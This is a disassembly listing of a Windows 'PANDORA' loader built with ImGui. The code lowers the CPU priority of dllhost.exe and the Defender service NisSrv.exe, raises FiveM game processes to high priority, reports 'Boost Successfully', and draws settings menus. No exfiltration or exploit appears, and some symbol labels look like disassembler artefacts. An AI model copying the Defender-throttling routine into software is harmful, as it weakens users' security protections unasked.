call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400494c6
mov edx, 0x4000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x770]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140049460
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400495a3
mov dword [rbp + 0x9b0], 0x238
lea rdx, [rbp + 0x9b0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14004959a
nop
lea rdx, [rbp + 0x9dc]
mov rcx, r13
lea r8, str.dllhost.exe
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x140049586
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140049586
add rcx, 2
cmp rcx, 0xc
jne 0x140049531
mov r8d, dword [rbp + 0x9b8]
xor edx, edx
mov ecx, 0x200
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140049586
mov edx, 0x4000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x9b0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140049520
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14004967b
mov dword [rbp + 0xbf0], 0x238
lea rdx, [rbp + 0xbf0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140049672
mov r13, 0xffffffffffffffff
lea rdx, [rbp + 0xc1c]
mov rcx, r13
lea r8, str.NisSrv.exe
nop word [rax + rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140049657
add rcx, 2
cmp rcx, 0xb
je 0x140049624
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x140049600
jmp 0x140049657
mov r8d, dword [rbp + 0xbf8]
xor edx, edx
mov ecx, 0x200
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140049657
mov edx, 0x4000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0xbf0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400495e6
xor r13d, r13d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140049748
mov dword [rbp + 0xe30], 0x238
lea rdx, [rbp + 0xe30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14004973f
mov r13, 0xffffffffffffffff
nop
lea rdx, [rbp + 0xe5c]
mov rcx, r13
lea r8, str.FiveM_b2545_GTAProcess.exe
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140049728
add rcx, 2
cmp rcx, 0x1b
je 0x1400496f5
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x1400496d1
jmp 0x140049728
mov r8d, dword [rbp + 0xe38]
xor edx, edx
mov ecx, 0x200
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140049728
mov edx, 0x80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0xe30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400496c0
xor r13d, r13d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140049818
mov dword [rbp + 0x1070], 0x238
lea rdx, [rbp + 0x1070]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14004980f
mov r13, 0xffffffffffffffff
nop dword [rax + rax]
lea rdx, [rbp + 0x109c]
mov rcx, r13
lea r8, str.FiveM_b2699_GTAProcess.exe
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x1400497f8
add rcx, 2
cmp rcx, 0x1b
je 0x1400497c5
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x1400497a1
jmp 0x1400497f8
mov r8d, dword [rbp + 0x1078]
xor edx, edx
mov ecx, 0x200
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400497f8
mov edx, 0x80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x1070]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140049790
xor r13d, r13d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400498e8
mov dword [rbp + 0x12b0], 0x238
lea rdx, [rbp + 0x12b0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400498df
mov r13, 0xffffffffffffffff
nop dword [rax + rax]
lea rdx, [rbp + 0x12dc]
mov rcx, r13
lea r8, str.FiveM_b2189_GTAProcess.exe
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x1400498c8
add rcx, 2
cmp rcx, 0x1b
je 0x140049895
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x140049871
jmp 0x1400498c8
mov r8d, dword [rbp + 0x12b8]
xor edx, edx
mov ecx, 0x200
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400498c8
mov edx, 0x80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x12b0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140049860
xor r13d, r13d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400499b8
mov dword [rbp + 0x14f0], 0x238
lea rdx, [rbp + 0x14f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400499af
mov r13, 0xffffffffffffffff
nop dword [rax + rax]
lea rdx, [rbp + 0x151c]
mov rcx, r13
lea r8, str.FiveM_b2372_GTAProcess.exe
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140049998
add rcx, 2
cmp rcx, 0x1b
je 0x140049965
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x140049941
jmp 0x140049998
mov r8d, dword [rbp + 0x14f8]
xor edx, edx
mov ecx, 0x200
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140049998
mov edx, 0x80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x14f0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140049930
xor r13d, r13d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140049a88
mov dword [rbp + 0x1730], 0x238
lea rdx, [rbp + 0x1730]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140049a7f
mov r13, 0xffffffffffffffff
nop dword [rax + rax]
lea rdx, [rbp + 0x175c]
mov rcx, r13
lea r8, str.FiveM_GTAProcess.exe
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140049a68
add rcx, 2
cmp rcx, 0x15
je 0x140049a35
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x140049a11
jmp 0x140049a68
mov r8d, dword [rbp + 0x1738]
xor edx, edx
mov ecx, 0x200
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140049a68
mov edx, 0x80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x1730]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140049a00
xor r13d, r13d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140049b47
mov dword [rbp + 0x1970], 0x238
lea rdx, [rbp + 0x1970]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140049b3e
lea rdx, [rbp + 0x199c]
mov rcx, r13
lea r8, str.FiveM.exe
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x140049b2a
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140049b2a
add rcx, 2
cmp rcx, 0xa
jne 0x140049ad5
mov r8d, dword [rbp + 0x1978]
xor edx, edx
mov ecx, 0x200
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140049b2a
mov edx, 0x80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x1970]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140049ac4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140049c06
mov dword [rbp + 0x1bb0], 0x238
lea rdx, [rbp + 0x1bb0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140049bfd
lea rdx, [rbp + 0x1bdc]
mov rcx, r13
lea r8, str.FiveM_ChromeBrowser
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x140049be9
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140049be9
add rcx, 2
cmp rcx, 0x14
jne 0x140049b94
mov r8d, dword [rbp + 0x1bb8]
xor edx, edx
mov ecx, 0x200
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140049be9
mov edx, 0x80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x1bb0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140049b83
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140049cd8
mov dword [rbp + 0x1df0], 0x238
lea rdx, [rbp + 0x1df0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140049ccf
mov r13, 0xffffffffffffffff
nop dword [rax]
lea rdx, [rbp + 0x1e1c]
mov rcx, r13
lea r8, str.FiveM_SteamChild.exe
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140049cb8
add rcx, 2
cmp rcx, 0x15
je 0x140049c85
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x140049c61
jmp 0x140049cb8
mov r8d, dword [rbp + 0x1df8]
xor edx, edx
mov ecx, 0x200
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140049cb8
mov edx, 0x80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x1df0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140049c50
xor r13d, r13d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x30
lea r8, str.Loader
lea rdx, str.Boost_Successfully
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
call fcn.14000c300
mov ecx, 2
call fcn.140004890
mov esi, 1
mov ecx, esi
call fcn.140004960
call fcn.14000c300
jmp 0x140049e0f
cmp eax, 3
jne 0x140049e0f
call fcn.1400168a0
movss xmm0, dword [rbx + 0x381c]
movss xmm1, dword [0x1405c36c8]
subss xmm1, xmm0
mulss xmm1, dword [0x1401a30dc]
subss xmm1, xmm0
movss dword [rbp - 0x40], xmm1
movss xmm1, dword [rbx + 0x3820]
mulss xmm1, dword [0x1401a3130]
addss xmm1, dword [0x1401a3198]
movss xmm0, dword [0x1405c36cc]
subss xmm0, xmm1
movss dword [rbp - 0x3c], xmm0
xor r9d, r9d
lea rdx, [rbp - 0x40]
lea rcx, str.SETTINGS
call fcn.14000c1e0
call fcn.14000c300
call fcn.1400169f0
movaps xmm1, xmm8
movaps xmm0, xmm13
call fcn.140016640
call fcn.1400168a0
movss xmm0, dword [rbx + 0x381c]
movss xmm1, dword [0x1405c36c8]
subss xmm1, xmm0
mulss xmm1, dword [0x1401a30dc]
subss xmm1, xmm0
movss dword [rbp - 0x38], xmm1
movss xmm1, dword [rbx + 0x3820]
mulss xmm1, dword [0x1401a3130]
addss xmm1, dword [0x1401a3198]
movss xmm0, dword [0x1405c36cc]
subss xmm0, xmm1
movss dword [rbp - 0x34], xmm0
xor r9d, r9d
lea rdx, [rbp - 0x38]
lea rcx, str.CONFIG_LIST
call fcn.14000c1e0
call fcn.14000c300
call fcn.1400169f0
mov ecx, esi
call fcn.140004960
call fcn.140011990
call fcn.14000b270
movdqa xmm0, xmmword [0x1401a3530]
movups xmmword [rbp + 0x288], xmm0
mov rcx, qword [0x1405c4ce0]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x1405c4cc8]
mov edx, esi
call qword [rax + 0x108]
mov rcx, qword [0x1405c4ce0]
mov rax, qword [rcx]
lea r8, [rbp + 0x288]
mov rdx, qword [0x1405c4cc8]
call qword [rax + 0x190]
mov rbx, qword [0x1405c4850]
cmp dword [rbx + 0x48c8], 0
jg 0x140049e93
mov r8d, 0x70d
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48d0]
mov rcx, qword [rax]
add rcx, 0x48
mov rax, r13
cmp byte [rcx], 0
cmovne rax, rcx
mov rcx, rax
call fcn.140042ca0
mov rcx, qword [0x1405c4cd0]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, esi
call qword [rax + 0x40]
jmp 0x1400478f0
mov rbx, qword [0x1405c4850]
test rbx, rbx
je 0x140049ee4
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x140049f08
jmp 0x140049ee7
mov rdi, r13
mov r8d, 0x241
lea rdx, str.C:UserszipDownloadsPANDORAPANDORA_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1405c4850]
test rbx, rbx
jne 0x140049f2e
mov r8d, 0x1031
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1405c4850]
call fcn.140043c50
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x140049f42
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140049f50
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x140049f5f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 0x90], r13
mov qword [rbx + 0xa0], r13
and dword [rbx + 0xc], 0xfffffff7
mov rax, qword [0x1405c4850]
test rax, rax
je 0x140049f83
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x1405c4850]
test rax, rax
je 0x140049fa6
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x140049fca
jmp 0x140049fa9
mov rbx, r13
mov r8d, 0xb7
lea rdx, str.C:UserszipDownloadsPANDORAPANDORA_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1405c4850]
test rax, rax
jne 0x140049ff0
mov r8d, 0x1031
lea rdx, str.C:UserszipDownloadsPANDORAPANDORAimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1405c4850]
lea rdi, [rax + 8]
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14004a00a
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x1405c4850]
mov qword [rdi + 0x80], r13
mov qword [rdi + 0x90], r13
and dword [rdi + 4], 0xfffffff8
test rax, rax
je 0x14004a027
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x1405c4850]
mov qword [0x1405c4850], rbx
call fcn.1400066f0
mov qword [0x1405c4850], r13
test rbx, rbx
je 0x14004a072
mov rcx, rbx
call fcn.1400200c0
mov rax, qword [0x1405c4850]
test rax, rax
je 0x14004a069
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.14004a130
mov rcx, r15
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x260]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x14004a0d3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0xb8], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.14004a130
mov rdx, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x260]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r14d
lea r11, [rsp + 0x21d0]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret